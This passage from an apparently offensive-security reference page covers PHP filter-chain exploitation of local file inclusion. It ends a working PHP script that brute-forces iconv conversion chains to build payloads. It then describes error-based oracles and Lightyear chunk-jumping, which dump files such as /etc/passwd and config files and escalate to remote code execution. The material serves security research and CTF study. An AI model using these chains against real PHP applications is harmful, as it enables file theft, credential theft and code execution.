'IBM903', 'IBM904', 'IBM905', 'IBM912', 'IBM915', 'IBM916', 'IBM918', 'IBM920', 'IBM921', 'IBM922', 'IBM930', 'IBM932', 'IBM933', 'IBM935', 'IBM937', 'IBM939', 'IBM943', 'IBM1004', 'IBM1008', 'IBM1025', 'IBM1026', 'IBM1046', 'IBM1047', 'IBM1089', 'IBM1097', 'IBM1112', 'IBM1122', 'IBM1123', 'IBM1124', 'IBM1129', 'IBM1130', 'IBM1132', 'IBM1133', 'IBM1137', 'IBM1140', 'IBM1141', 'IBM1142', 'IBM1143', 'IBM1144', 'IBM1145', 'IBM1146', 'IBM1147', 'IBM1148', 'IBM1149', 'IBM1153', 'IBM1154', 'IBM1155', 'IBM1156', 'IBM1157', 'IBM1158', 'IBM1160', 'IBM1161', 'IBM1162', 'IBM1163', 'IBM1164', 'IBM1166', 'IBM1167', 'IBM1364', 'IBM1371', 'IBM1388', 'IBM1390', 'IBM1399', 'IBM4517', 'IBM4899', 'IBM4909', 'IBM4971', 'IBM5347', 'IBM9030', 'IBM9066', 'IBM9448', 'IBM12712', 'IBM16804', 'IEC_P27-1', 'IEC_P271', 'INIS-8', 'INIS-CYRILLIC', 'INIS', 'INIS8', 'INISCYRILLIC', 'ISIRI-3342', 'ISIRI3342', 'ISO-2022-CN-EXT', 'ISO-2022-CN', 'ISO-2022-JP-2', 'ISO-2022-JP-3', 'ISO-2022-JP', 'ISO-2022-KR', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-9E', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16', 'ISO-10646', 'ISO-10646/UCS2', 'ISO-10646/UCS4', 'ISO-10646/UTF-8', 'ISO-10646/UTF8', 'ISO-CELTIC', 'ISO-IR-4', 'ISO-IR-6', 'ISO-IR-8-1', 'ISO-IR-9-1', 'ISO-IR-10', 'ISO-IR-11', 'ISO-IR-14', 'ISO-IR-15', 'ISO-IR-16', 'ISO-IR-17', 'ISO-IR-18', 'ISO-IR-19', 'ISO-IR-21', 'ISO-IR-25', 'ISO-IR-27', 'ISO-IR-37', 'ISO-IR-49', 'ISO-IR-50', 'ISO-IR-51', 'ISO-IR-54', 'ISO-IR-55', 'ISO-IR-57', 'ISO-IR-60', 'ISO-IR-61', 'ISO-IR-69', 'ISO-IR-84', 'ISO-IR-85', 'ISO-IR-86', 'ISO-IR-88', 'ISO-IR-89', 'ISO-IR-90', 'ISO-IR-92', 'ISO-IR-98', 'ISO-IR-99', 'ISO-IR-100', 'ISO-IR-101', 'ISO-IR-103', 'ISO-IR-109', 'ISO-IR-110', 'ISO-IR-111', 'ISO-IR-121', 'ISO-IR-122', 'ISO-IR-126', 'ISO-IR-127', 'ISO-IR-138', 'ISO-IR-139', 'ISO-IR-141', 'ISO-IR-143', 'ISO-IR-144', 'ISO-IR-148', 'ISO-IR-150', 'ISO-IR-151', 'ISO-IR-153', 'ISO-IR-155', 'ISO-IR-156', 'ISO-IR-157', 'ISO-IR-166', 'ISO-IR-179', 'ISO-IR-193', 'ISO-IR-197', 'ISO-IR-199', 'ISO-IR-203', 'ISO-IR-209', 'ISO-IR-226', 'ISO/TR_11548-1', 'ISO646-CA', 'ISO646-CA2', 'ISO646-CN', 'ISO646-CU', 'ISO646-DE', 'ISO646-DK', 'ISO646-ES', 'ISO646-ES2', 'ISO646-FI', 'ISO646-FR', 'ISO646-FR1', 'ISO646-GB', 'ISO646-HU', 'ISO646-IT', 'ISO646-JP-OCR-B', 'ISO646-JP', 'ISO646-KR', 'ISO646-NO', 'ISO646-NO2', 'ISO646-PT', 'ISO646-PT2', 'ISO646-SE', 'ISO646-SE2', 'ISO646-US', 'ISO646-YU', 'ISO2022CN', 'ISO2022CNEXT', 'ISO2022JP', 'ISO2022JP2', 'ISO2022KR', 'ISO6937', 'ISO8859-1', 'ISO8859-2', 'ISO8859-3', 'ISO8859-4', 'ISO8859-5', 'ISO8859-6', 'ISO8859-7', 'ISO8859-8', 'ISO8859-9', 'ISO8859-9E', 'ISO8859-10', 'ISO8859-11', 'ISO8859-13', 'ISO8859-14', 'ISO8859-15', 'ISO8859-16', 'ISO11548-1', 'ISO88591', 'ISO88592', 'ISO88593', 'ISO88594', 'ISO88595', 'ISO88596', 'ISO88597', 'ISO88598', 'ISO88599', 'ISO88599E', 'ISO885910', 'ISO885911', 'ISO885913', 'ISO885914', 'ISO885915', 'ISO885916', 'ISO_646.IRV:1991', 'ISO_2033-1983', 'ISO_2033', 'ISO_5427-EXT', 'ISO_5427', 'ISO_5427:1981', 'ISO_5427EXT', 'ISO_5428', 'ISO_5428:1980', 'ISO_6937-2', 'ISO_6937-2:1983', 'ISO_6937', 'ISO_6937:1992', 'ISO_8859-1', 'ISO_8859-1:1987', 'ISO_8859-2', 'ISO_8859-2:1987', 'ISO_8859-3', 'ISO_8859-3:1988', 'ISO_8859-4', 'ISO_8859-4:1988', 'ISO_8859-5', 'ISO_8859-5:1988', 'ISO_8859-6', 'ISO_8859-6:1987', 'ISO_8859-7', 'ISO_8859-7:1987', 'ISO_8859-7:2003', 'ISO_8859-8', 'ISO_8859-8:1988', 'ISO_8859-9', 'ISO_8859-9:1989', 'ISO_8859-9E', 'ISO_8859-10', 'ISO_8859-10:1992', 'ISO_8859-14', 'ISO_8859-14:1998', 'ISO_8859-15', 'ISO_8859-15:1998', 'ISO_8859-16', 'ISO_8859-16:2001', 'ISO_9036', 'ISO_10367-BOX', 'ISO_10367BOX', 'ISO_11548-1', 'ISO_69372', 'IT', 'JIS_C6220-1969-RO', 'JIS_C6229-1984-B', 'JIS_C62201969RO', 'JIS_C62291984B', 'JOHAB', 'JP-OCR-B', 'JP', 'JS', 'JUS_I.B1.002', 'KOI-7', 'KOI-8', 'KOI8-R', 'KOI8-RU', 'KOI8-T', 'KOI8-U', 'KOI8', 'KOI8R', 'KOI8U', 'KSC5636', 'L1', 'L2', 'L3', 'L4', 'L5', 'L6', 'L7', 'L8', 'L10', 'LATIN-9', 'LATIN-GREEK-1', 'LATIN-GREEK', 'LATIN1', 'LATIN2', 'LATIN3', 'LATIN4', 'LATIN5', 'LATIN6', 'LATIN7', 'LATIN8', 'LATIN9', 'LATIN10', 'LATINGREEK', 'LATINGREEK1', 'MAC-CENTRALEUROPE', 'MAC-CYRILLIC', 'MAC-IS', 'MAC-SAMI', 'MAC-UK', 'MAC', 'MACCYRILLIC', 'MACINTOSH', 'MACIS', 'MACUK', 'MACUKRAINIAN', 'MIK', 'MS-ANSI', 'MS-ARAB', 'MS-CYRL', 'MS-EE', 'MS-GREEK', 'MS-HEBR', 'MS-MAC-CYRILLIC', 'MS-TURK', 'MS932', 'MS936', 'MSCP949', 'MSCP1361', 'MSMACCYRILLIC', 'MSZ_7795.3', 'MS_KANJI', 'NAPLPS', 'NATS-DANO', 'NATS-SEFI', 'NATSDANO', 'NATSSEFI', 'NC_NC0010', 'NC_NC00-10', 'NC_NC00-10:81', 'NF_Z_62-010', 'NF_Z_62-010_(1973)', 'NF_Z_62-010_1973', 'NF_Z_62010', 'NF_Z_62010_1973', 'NO', 'NO2', 'NS_4551-1', 'NS_4551-2', 'NS_45511', 'NS_45512', 'OS2LATIN1', 'OSF00010001', 'OSF00010002', 'OSF00010003', 'OSF00010004', 'OSF00010005', 'OSF00010006', 'OSF00010007', 'OSF00010008', 'OSF00010009', 'OSF0001000A', 'OSF00010020', 'OSF00010100', 'OSF00010101', 'OSF00010102', 'OSF00010104', 'OSF00010105', 'OSF00010106', 'OSF00030010', 'OSF0004000A', 'OSF0005000A', 'OSF05010001', 'OSF100201A4', 'OSF100201A8', 'OSF100201B5', 'OSF100201F4', 'OSF100203B5', 'OSF1002011C', 'OSF1002011D', 'OSF1002035D', 'OSF1002035E', 'OSF1002035F', 'OSF1002036B', 'OSF1002037B', 'OSF10010001', 'OSF10010004', 'OSF10010006', 'OSF10020025', 'OSF10020111', 'OSF10020115', 'OSF10020116', 'OSF10020118', 'OSF10020122', 'OSF10020129', 'OSF10020352', 'OSF10020354', 'OSF10020357', 'OSF10020359', 'OSF10020360', 'OSF10020364', 'OSF10020365', 'OSF10020366', 'OSF10020367', 'OSF10020370', 'OSF10020387', 'OSF10020388', 'OSF10020396', 'OSF10020402', 'OSF10020417', 'PT', 'PT2', 'PT154', 'R8', 'R9', 'RK1048', 'ROMAN8', 'ROMAN9', 'RUSCII', 'SE', 'SE2', 'SEN_850200_B', 'SEN_850200_C', 'SHIFT-JIS', 'SHIFTJISX0213', 'SHIFT_JIS', 'SHIFT_JISX0213', 'SJIS-OPEN', 'SJIS-WIN', 'SJIS', 'SS636127', 'STRK1048-2002', 'ST_SEV_358-88', 'T.61-8BIT', 'T.61', 'T.618BIT', 'TCVN-5712', 'TCVN', 'TCVN5712-1', 'TCVN5712-1:1993', 'THAI8', 'TIS-620', 'TIS620-0', 'TIS620.2529-1', 'TIS620.2533-0', 'TIS620', 'TS-5881', 'TSCII', 'TURKISH8', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UCS-4', 'UCS-4BE', 'UCS-4LE', 'UCS2', 'UCS4', 'UHC', 'UJIS', 'UK', 'UNICODE', 'UNICODEBIG', 'UNICODELITTLE', 'US-ASCII', 'US', 'UTF-7', 'UTF-8', 'UTF-16', 'UTF-16BE', 'UTF-16LE', 'UTF-32', 'UTF-32BE', 'UTF-32LE', 'UTF7', 'UTF8', 'UTF16', 'UTF16BE', 'UTF16LE', 'UTF32', 'UTF32BE', 'UTF32LE', 'VISCII', 'WCHAR_T', 'WIN-SAMI-2', 'WINBALTRIM', 'WINDOWS-31J', 'WINDOWS-874', 'WINDOWS-936', 'WINDOWS-1250', 'WINDOWS-1251', 'WINDOWS-1252', 'WINDOWS-1253', 'WINDOWS-1254', 'WINDOWS-1255', 'WINDOWS-1256', 'WINDOWS-1257', 'WINDOWS-1258', 'WINSAMI2', 'WS2', 'YU');
    188 
    189 $init = " ";
    190 $known = array();
    191 
    192 
    193 function get_tranform($val, $convs){
    194     foreach($convs as $conv){
    195         $val = @iconv($conv[0], $conv[1], $val);
    196     }
    197     return $val;
    198 }
    199 
    200 
    201 function test_value($val, $convs){
    202     global $known;
    203 
    204     $cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
    205 
    206     if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
    207         $re_check = get_tranform("r", $convs);
    208         $cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
    209         if ($cleaned2 === $cleaned){
    210 
    211             $conv_str = "";
    212             foreach($convs as $conv){
    213                 $conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
    214             }
    215             $conv_str = substr_replace($conv_str ,"", -1);
    216 
    217             $value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
    218 
    219             if (strlen($value) > 0) {
    220                 echo "Combination found for letter $cleaned: ";
    221                 array_push($known, $cleaned);
    222                 echo "$conv_str\n";
    223 
    224                 if (count($known) == 64){
    225                     echo "All found\n";
    226                     exit(0);
    227                 }
    228             }
    229         }
    230     }
    231 }
    232 
    233 function find_vals($init_val) {
    234     global $convs;
    235 
    236     $convs_used = array();
    237     $current_val = iconv("UTF8", "CSISO2022KR", $init_val);
    238     array_push($convs_used, array("UTF8", "CSISO2022KR"));
    239 
    240     $current_val2 = "";
    241 
    242     for ($c = 0; $c < 5; $c++){
    243         $conv1 = $convs[array_rand($convs, 1)];
    244         $conv2 = $convs[array_rand($convs, 1)];
    245 
    246         if ($conv1 === $conv2){
    247             continue;
    248         }
    249 
    250         $new_conv = array($conv1, $conv2);
    251         array_push($convs_used, $new_conv);
    252 
    253         $current_val2 = get_tranform($current_val, array($new_conv));
    254 
    255         if ($current_val === $current_val2){
    256             continue;
    257         }
    258 
    259         $current_val = $current_val2;
    260         test_value($current_val, $convs_used);
    261     }
    262   }
    263 
    264   while(true){
    265     find_vals($init);
    266 }
    267 ?>
    268 ```
    269 
    270 ## Advanced Filter Chains in Practice
    271 
    272 ### Error-based filter oracles (php_filter_chains_oracle_exploit)
    273 
    274 - Chain a memory bomb (e.g., a dozen `convert.iconv.UTF8.UCS-4LE` passes) with `dechunk` so the first leaked base64 digit controls the outcome: if it turns hexadecimal the payload collapses silently, otherwise PHP exhausts memory and throws an error, giving you a 1-bit oracle.
    275 - Query the oracle repeatedly while iconv shuffles (`convert.iconv.UTF16.UTF16BE`, `convert.iconv.UCS-4LE.UCS-4`, etc.) rotate arbitrary base64 digits to the front, letting you read files byte by byte even when nothing is echoed.
    276 - Synacktiv's `php_filter_chains_oracle_exploit` automates the chain, keeps payloads GET-safe, and documents the PHP file primitives (file_get_contents, finfo, hash_file, getimagesize, ...) that you can abuse to pivot from LFI to credentials or staged RCE.<sup>[[3]](#references)</sup>
    277 
    278 ### Lightyear digit-set jumps & chunk pruning
    279 
    280 - Lightyear builds alternative base64 digit sets via sequences like `convert.iconv.IBM1144.HP-ROMAN8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037`, turning a chosen digit into a newline; prepend one hexadecimal char, run `dechunk`, and you can jump over arbitrary chunks while keeping payloads URL-length compliant.
    281 - Instead of swapping bytes repeatedly, Lightyear chains several jumps, tracks safe chunk sizes, and closes each leak with a six-query dichotomy tree that halves the candidate digit set, so large files can be dumped via GET parameters without triggering PHP warnings.
    282 - The release ships ready-to-run Python tooling: once you control `include()`, aim it at `/etc/passwd`, PHP session stores, or config files, dump them, then fall back to the base64-prepend method above to craft RCE payloads inside `php://temp` or other write-less sinks.<sup>[[4]](#references)</sup>
    283 
    284 ## References
    285 
    286 - [1] [Solving "includer's revenge" from hxp CTF 2021 without controlling any files](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
    287 - [2] [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
    288 - [3] [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle)
    289 - [4] [Lexfo – Introducing lightyear, a new way to dump PHP files](https://blog.lexfo.fr/lightyear-file-dump.html)